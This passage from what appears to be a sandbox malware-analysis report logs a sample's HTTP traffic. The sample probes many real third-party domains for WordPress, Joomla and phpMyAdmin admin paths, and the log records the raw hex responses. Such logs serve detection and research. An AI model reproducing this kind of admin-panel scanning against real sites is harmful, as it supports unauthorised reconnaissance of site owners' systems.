auto;background:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAP+CAMAAAAIGQ5aAAADAFBMVEX6+vr6+vn5+vr5+vn6+fr6+fn5+fn4+Pj4+Pf3+Pj3+Pf49/j39/f39/b29vb29vX19vb19vX29fb19fX19fT09PT09PPz9PTz9PP08/T08/Pz8/Py8vLy8vHx8vHy8fLx8fHx8PHw8PDw8O/v8PDv8O/w7/Dw7+/v7+/u7u7u7u3t7u3u7e7u7e3t7e3s7Ozs7Ovr7Ozr7Ovs6+zr6+vr6+rq6urq6unp6urp6unq6enp6enp6Ono6Ojo6Ofn6Ojn6Ofo5+jo5+fn5+fm5ubm5uXl5ubl5uXm5ebm5eXl5eXk5OTk5OPj5OTj5OPk4+Tj4+Pj4+Li4uLi4uHh4uLh4uHi4eLi4eHh4eHg4ODg4N/f4ODg3+Df39/f397e3t7e3t3d3t7e3d7d3d3d3dzc3Nzc3Nvb3Nzb3Nvc29zb29vb29ra2tra2tnZ2tra2dra2dnY2tnZ2dnY2NjY2NfX2NjX2NfY19jX19fX19bW1tbW1tXV1tbV1tXW1dbW1dXV1dXU1NTU1NPT1NTT1NPU09TU09PT09PS0tLS0tHR0tLR0tHS0dLS0dHR0dHQ0NDQ0M/P0NDP0M/Qz9DPz8/Pz87Nzc3MzM3M
Nov 26, 2023 06:59:32.422385931 CET	1340	IN	Data Raw: 7a 4d 7a 4d 79 38 7a 4c 79 38 76 4b 79 38 72 4a 79 63 6e 49 79 4d 6a 48 79 4d 6e 48 79 4d 66 49 78 38 6a 48 78 38 66 48 78 38 62 46 78 63 58 45 78 4d 58 45 78 4d 54 44 78 4d 50 45 77 38 54 45 77 38 50 44 77 38 50 42 77 63 48 41 77 4d 48 41 77 4d Data Ascii: zMzMy8zLy8vKy8rJycnIyMjHyMnHyMfIx8jHx8fHx8bFxcXExMXExMTDxMPEw8TEw8PDw8PBwcHAwMHAwMC/wL/Av8DAv7+/v7++vr6+vr29vr69vr2+vb69vb29vby8vLy8vLu7vLy8u7y7u7u7u7q7urq5ubm4uLi3uLi3uLe4t7i4t7e3t7e2tra2trW1tra1trW2tba1tbW1tbS0tLS0tLOztLSztLO0s7S0s7Ozs7OysrK
Nov 26, 2023 06:59:32.422399044 CET	1340	IN	Data Raw: 2b 34 6d 37 43 46 42 77 68 76 6a 43 4b 47 41 75 36 6b 2f 4e 6c 6c 50 45 37 63 43 39 79 70 69 2b 6b 34 4f 72 39 35 66 30 56 67 30 7a 33 72 68 32 4e 79 59 45 50 61 4f 4f 67 77 63 68 69 47 58 39 51 6b 70 6b 47 6c 43 6f 65 77 6a 46 77 54 67 31 57 53 Data Ascii: +4m7CFBwhvjCKGAu6k/NllPE7cC9ypi+k4Or95f0Vg0z3rh2NyYEPaOOgwchiGX9QkpkGlCoewjFwTg1WSWd5kdC2o2BDZUEBb7rQJI4SGZy1wN9G0ApoYWu9znB6ys5mXgnaZHUTBrsjt6ApvMr21VUrznKBuKiefMsyOrw6WYJ3YkW+MWwFVc3DtgHChXYWiKcJOtFd2Rxfs6LXDh8ebIkTjbjeQLdnI9BR6yEazqfpmm3gX2
Nov 26, 2023 06:59:32.422434092 CET	1340	IN	Data Raw: 66 52 47 39 48 62 45 4b 61 39 58 6c 35 5a 30 58 47 77 70 69 34 78 65 54 4e 36 63 44 76 6f 58 4d 70 47 70 6d 73 7a 34 74 50 71 62 50 6a 59 6a 74 30 63 72 64 5a 74 31 69 77 53 33 5a 70 75 63 6d 77 49 48 6b 49 4e 74 6f 73 63 6c 75 30 6c 4c 58 75 55 Data Ascii: fRG9HbEKa9Xl5Z0XGwpi4xeTN6cDvoXMpGpmsz4tPqbPjYjt0crdZt1iwS3ZpucmwIHkINtosclu0lLXuU9I7NdYnnfmTxPXq40H2NK0mnvWHCL+kCFOtyrWjGdJNOEFO5SVlriQ2SdQD/yIaVPPSf4bb/5DMJE6EJG5m6t/TZTv65mqg8SGi2UQFXWR1LYvlLmvMOaKJ1GITEyLNP2i4oCmqp/jnBjKtjztg0aWcwb/o990mKD
Nov 26, 2023 06:59:32.422442913 CET	1340	IN	Data Raw: 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 71 41 41 41 41 4b 33 43 41 4d 41 41 41 42 74 4d 51 33 55 41 41 41 42 67 46 42 4d 56 45 55 41 41 41 44 52 30 64 48 2f 2f 2f 2b 78 73 62 48 2f 2f 2f 2b 71 71 71 72 35 2b 66 6d 71 71 71 71 6f 71 Data Ascii: KGgoAAAANSUhEUgAAAqAAAAK3CAMAAABtMQ3UAAABgFBMVEUAAADR0dH///+xsbH///+qqqr5+fmqqqqoqKj6+vqrq6v4+PipqamoqKj5+fmoqKjQ0NCnp6enp6f6+vqmpqbX19enp6enp6dlY2H7+/unp6empqbc3NzFxcX8/Pynp6empqazs7ODg4L6+vrBwcGmpqbR0dHc3NyqeF9fXl6mpqb7+/tcOx6mpqbS0tLe3t6+vb
Nov 26, 2023 06:59:32.422454119 CET	1340	IN	Data Raw: 4e 46 41 45 7a 6f 68 31 46 55 55 4e 44 48 51 56 47 6f 51 68 55 74 46 59 30 48 6f 41 7a 6a 78 69 6c 48 6f 35 4d 77 30 4e 4b 4f 4a 47 35 34 6a 6e 67 52 34 49 70 35 4b 52 66 73 59 54 6c 68 4e 58 30 34 4b 56 62 71 42 55 30 76 79 53 4f 76 67 47 67 66 Data Ascii: NFAEzoh1FUUNDHQVGoQhUtFY0HoAzjxilHo5Mw0NKOJG54jngR4Ip5KRfsYTlhNX04KVbqBU0vySOvgGgfGtURrOh+RHXA7Q0oVMFqgSR8Lp2G5yEsHrM5HOcuIoqJJRJOAjkBAIYTW1Is8HpgamSPGQYkHTYOTXwkXUL5KtB9EoTMZeCbz0u54BpveeCIvCVKKu1nNCw5l8MgpvOqaI0phB1TElFp/9fJ5cjadb80NPBWmoJFD
Nov 26, 2023 06:59:32.422466040 CET	1340	IN	Data Raw: 55 77 6c 61 33 6f 63 71 45 45 4b 30 34 66 66 42 5a 53 6f 36 6e 45 74 62 53 71 59 4e 76 78 65 55 54 4f 6d 6c 2f 66 50 4a 35 68 6b 65 79 32 2b 33 4c 55 30 6d 76 61 33 75 71 6c 34 6f 64 6d 33 44 46 6b 70 78 30 47 61 59 6c 77 44 4d 34 36 78 6e 31 2b Data Ascii: Uwla3ocqEEK04ffBZSo6nEtbSqYNvxeUTOml/fPJ5hkey2+3LU0mva3uql4odm3DFkpx0GaYlwDM46xn1+6roqDNKiedkuBV4WtJ6LsrbgEGoz0Ojh0t0Mm0yOmlGTUHtxrxZ7OIVGIzaBgk6S/28K/AjzCgz4KmsqO+3Qyl+w2cFwl46M3sXZJJYOYVLNBUn6WSvpLnUX5WI2tNOWJrRdfMmH4pS5J8vjFLm09C+Q5Qqj3XPjs
Nov 26, 2023 06:59:32.422489882 CET	1340	IN	Data Raw: 57 2b 47 4e 5a 66 38 2b 36 6e 75 6d 75 4c 6a 34 6c 73 31 62 53 4e 4a 64 58 2f 39 66 54 4f 55 6d 45 42 35 38 6c 5a 58 64 58 56 2f 64 70 57 46 54 68 51 30 61 37 57 39 32 36 72 43 71 55 75 49 34 6d 66 72 66 47 69 39 43 61 52 64 6d 4e 38 73 53 75 7a Data Ascii: W+GNZf8+6numuLj4ls1bSNJdX/9fTOUmEB58lZXdXV/dpWFThQ0a7W926rCqUuI4mfrfGi9CaRdmN8sSuzqAF749AacZD6tad0nJpCKb0c82zJP8OxSnUjnocNqZzCYYY2nceWWmfUvGJacIqcofR/ck8EvCSVeyioqq582rBfoqeWVUvuiQrQpspdVT1XQImW/Ue/e7z7S8D0IFSv8u5nuiEM4NTW/3saxqu2UWiQ6JpQm0hKG
Nov 26, 2023 06:59:32.422506094 CET	1340	IN	Data Raw: 4f 78 6a 69 62 39 58 6a 67 35 6e 31 70 4b 51 71 6a 4e 63 36 65 6b 49 6d 68 71 73 4f 6e 69 65 57 5a 71 42 78 41 41 71 4d 51 4b 6f 69 57 56 61 4c 73 39 71 78 4b 37 43 58 5a 39 4d 65 57 35 56 6c 4a 59 67 45 4a 52 6c 65 49 36 76 78 7a 78 53 61 6d 61 Data Ascii: Oxjib9Xjg5n1pKQqjNc6ekImhqsOnieWZqBxAAqMQKoiWVaLs9qxK7CXZ9MeW5VlJYgEJRleI6vxzxSamaPoD2gmbXVq+3/BG+KvWzTbXFtTZcPLJ2SfjfvjIA3RmcleM+ihZfaGTAR2tfHzcxMvXaftcbV/NRL0zDdW5aBsp6cFNmmrCvSuh2cX3G5D09JB6/kn8HpXJtFI9vQWe6GeX9uyynrrSLoYXBc/SgI4GcydnZ2dTQe
Nov 26, 2023 06:59:32.422600985 CET	1340	IN	Data Raw: 48 2f 33 4d 5a 6d 71 4a 2f 58 4a 69 71 66 33 54 47 66 6c 33 2f 45 31 78 62 4a 37 58 34 78 4d 67 39 47 36 51 69 6b 34 78 53 41 69 41 65 4f 44 47 4a 6f 70 67 43 34 4e 54 44 47 4e 2f 47 6b 64 6f 76 31 4b 61 48 4c 77 50 71 36 64 50 41 74 31 72 49 30 Data Ascii: H/3MZmqJ/XJiqf3TGfl3/E1xbJ7X4xMg9G6Qik4xSAiAeODGJopgC4NTDGN/Gkdov1KaHLwPq6dPAt1rI0onmYZ0WJHcl++XG32VDpLD58ldKN7jIG0m4HOi+lnWj6C0EZA2+ySxkcSHtWJ+WyLdaKcjySACSO4wU56QEVEV7zmS/x93GBTKe13LoejB04egRREmx1LRPM53dSJqA9uLINXGz27Nc9MaVLQ1rsnDZXyT/SzzC5x
Nov 26, 2023 06:59:32.604996920 CET	1340	IN	Data Raw: 79 38 68 6f 63 30 62 4c 4a 43 53 43 4a 54 67 4b 4f 52 54 44 6b 64 37 67 4d 30 4e 42 48 41 39 51 2f 75 64 33 66 38 73 77 66 35 78 4d 77 68 34 4b 4f 77 65 65 78 33 69 43 7a 6a 4a 32 55 54 69 70 4a 57 30 71 46 30 58 70 39 76 71 39 76 67 6b 34 73 76 Data Ascii: y8hoc0bLJCSCJTgKORTDkd7gM0NBHA9Q/ud3f8swf5xMwh4KOweex3iCzjJ2UTipJW0qF0Xp9vq9vgk4sv6MONpvSpvUBopqw975WUOdaEvTl8QzUf+rZNrAJnlDaJedxPUKndwo+27w8JkVJfrV4eoMp8PTxxBDjkykoHz71y8z9u/Dtf/t0ElrGUX4tkvkUVFe7mepqPCBdL3+qhOqbFNuEE3j6IHhq5Uj5Uk85zMHnoFj/di

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	56544	109.168.109.224	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.277893066 CET	234	OUT	GET /wp-login.php HTTP/1.1 Host: americanrecords.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.473361015 CET	430	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 184 Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e cd 0e 82 30 10 84 ef 3c c5 ca 1d 16 0d c7 a6 07 f9 89 24 88 c4 94 83 47 4c ab 25 c1 b6 42 91 f8 f6 52 b8 78 9c 9d f9 66 96 ec d2 4b c2 6e 75 06 27 76 2e a1 6e 8e 65 91 80 1f 20 16 19 cb 11 53 96 6e ce 21 8c 10 b3 ca a7 1e 91 f6 d5 53 22 45 cb 17 61 3b db 0b 1a 47 31 54 da 42 ae 27 c5 09 6e 47 8f e0 1a 22 77 cd bf 8e db d3 bf cc a2 3c 62 28 93 02 06 f1 9e c4 68 05 87 e6 5a 02 ce 26 e8 f5 b3 53 a1 91 06 e6 76 04 b5 50 0f 47 81 56 60 65 37 c2 28 86 8f 18 42 82 c6 ad ac fd 4b a3 fb cb fb 01 96 3d a0 d1 d2 00 00 00 Data Ascii: M0<$GL%BRxfKnu'v.ne Sn!S"Ea;G1TB'nG"w<b(hZ&SvPGV`e7(BK=
Nov 26, 2023 06:59:32.481287956 CET	280	OUT	GET /wp-admin/ HTTP/1.1 Host: americanrecords.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://americanrecords.it/wp-login.php
Nov 26, 2023 06:59:32.678184986 CET	427	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 181 Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e 3b 0f 82 40 10 84 fb fb 15 2b 3d 2c 1a ca cb 15 f2 88 24 88 c4 1c 85 25 e6 d6 1c 09 1c 08 87 c4 7f 2f 8f c6 72 76 e6 9b 59 7e 88 6e a1 7c 14 31 5c e4 35 83 a2 3c 67 69 08 8e 8b 98 c6 32 41 8c 64 b4 3b 27 cf 47 8c 73 47 30 ae 6d db 08 ae a9 52 8b b0 b5 6d 48 04 7e 00 79 67 21 e9 26 a3 38 ee 47 c6 71 0b f1 67 a7 be 2b 77 14 7f 99 45 31 de 0b a9 09 06 7a 4f 34 5a 52 50 de 33 c0 b9 77 2b d5 d6 06 61 ae 46 30 0b f2 5a 11 e8 0c 58 5d 8f 30 d2 f0 a1 c1 e3 d8 af 13 5b f9 52 b7 3e c5 7e 8f 8c 6e 79 cf 00 00 00 Data Ascii: M;@+=,$%/rvY~n\|1\5<gi2Ad;'GsG0mRmH~yg!&8Gqg+wE1zO4ZRP3w+aF0ZX]0[R>~ny

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	56547	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.278158903 CET	238	OUT	GET /administrator/ HTTP/1.1 Host: beachrecruitment.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.518446922 CET	715	IN	HTTP/1.1 301 Moved Permanently date: Sun, 26 Nov 2023 05:59:32 GMT content-type: text/html; charset=utf-8 content-length: 0 set-cookie: k8spersistent=22cb6f4364865b2e22019c7dac43ae73\|11f187638643e13d7bd1963991fac52b; Expires=Tue, 28-Nov-23 05:59:32 GMT; Max-Age=172800; Path=/; HttpOnly set-cookie: OF=3dbfg2bnrmlhvmjhpi48421sg2; path=/; domain=.beachrecruitment.com; HttpOnly expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 pragma: no-cache x-content-type-options: nosniff x-xss-protection: 1; mode=block location: https://beachrecruitment.com/administrator/ vary: User-Agent

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	56678	3.234.162.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.278230906 CET	224	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: t1eng.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.371973991 CET	1340	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Keep-Alive: timeout=5, max=100 cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Sun, 26 Nov 2023 05:59:32 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 31 30 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 37 34 37 34 37 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 35 29 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 30 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div><div style="color:#f0f0f0; font-size:12px;margin:auto;padding:0px 30px 0px 30px;position:relative;clear:both;height:100px;margin-top:-101px;background-color:#474747;border-top: 1px solid rgba(0,0,0,0.15);box-shadow: 0 1px 0 rgba(255, 255, 255, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://
Nov 26, 2023 06:59:32.371985912 CET	281	IN	Data Raw: 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 Data Ascii: www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over content found on this site.</p></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	56716	76.223.105.230	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.293162107 CET	230	OUT	GET /phpmyadmin/ HTTP/1.1 Host: saudi-jamac.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.394283056 CET	366	IN	HTTP/1.1 301 Moved Permanently location: https://saudi-jamac.com/phpmyadmin/ vary: Accept-Encoding server: DPS/2.0.0+sha-3210b49 x-version: 3210b49 x-siteid: us-east-1 set-cookie: dps_site_id=us-east-1; path=/ date: Sun, 26 Nov 2023 05:59:32 GMT keep-alive: timeout=5 transfer-encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	56704	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.314122915 CET	244	OUT	GET /administrator/ HTTP/1.1 Host: www.prettypollycleaning.ae Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.431220055 CET	411	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Content-Length: 212 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /administrator/ was not found on this server.</p></body></html>
Nov 26, 2023 06:59:32.545646906 CET	312	OUT	GET /administrator/index.php HTTP/1.1 Host: www.prettypollycleaning.ae Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://www.prettypollycleaning.ae/administrator/
Nov 26, 2023 06:59:32.660378933 CET	420	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Content-Length: 221 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /administrator/index.php was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	56752	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.325072050 CET	228	OUT	GET /phpmyadmin/ HTTP/1.1 Host: esoft.academy Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.460480928 CET	718	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 26 Nov 2023 05:59:32 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 26 Nov 2023 06:59:32 GMT Location: https://esoft.academy/phpmyadmin/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=fERLt40YJa3suL%2B73Kq6SPGXb7Vk1t5izECDSnK%2BjkqkDDGrNvpcKVUZxjoXcZiKdgHOilXai7eECOZCkk0FWpUn4YQpt2cCEx4Wtd1WgmNk5KMtEOVx%2F4f41GzkBhBo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 82bfe7eb4e55397a-IAD alt-svc: h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	56441	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
Nov 26, 2023 06:59:32.330780029 CET	230	OUT	GET /wp-login.php HTTP/1.1 Host: octetpowers.in Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Nov 26, 2023 06:59:32.698513985 CET	1340	IN	HTTP/1.1 404 Not Found Date: Sun, 26 Nov 2023 05:59:32 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade Accept-Ranges: bytes Vary: Accept-Encoding Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Content-Length: 1699 Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 46 69 6c 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 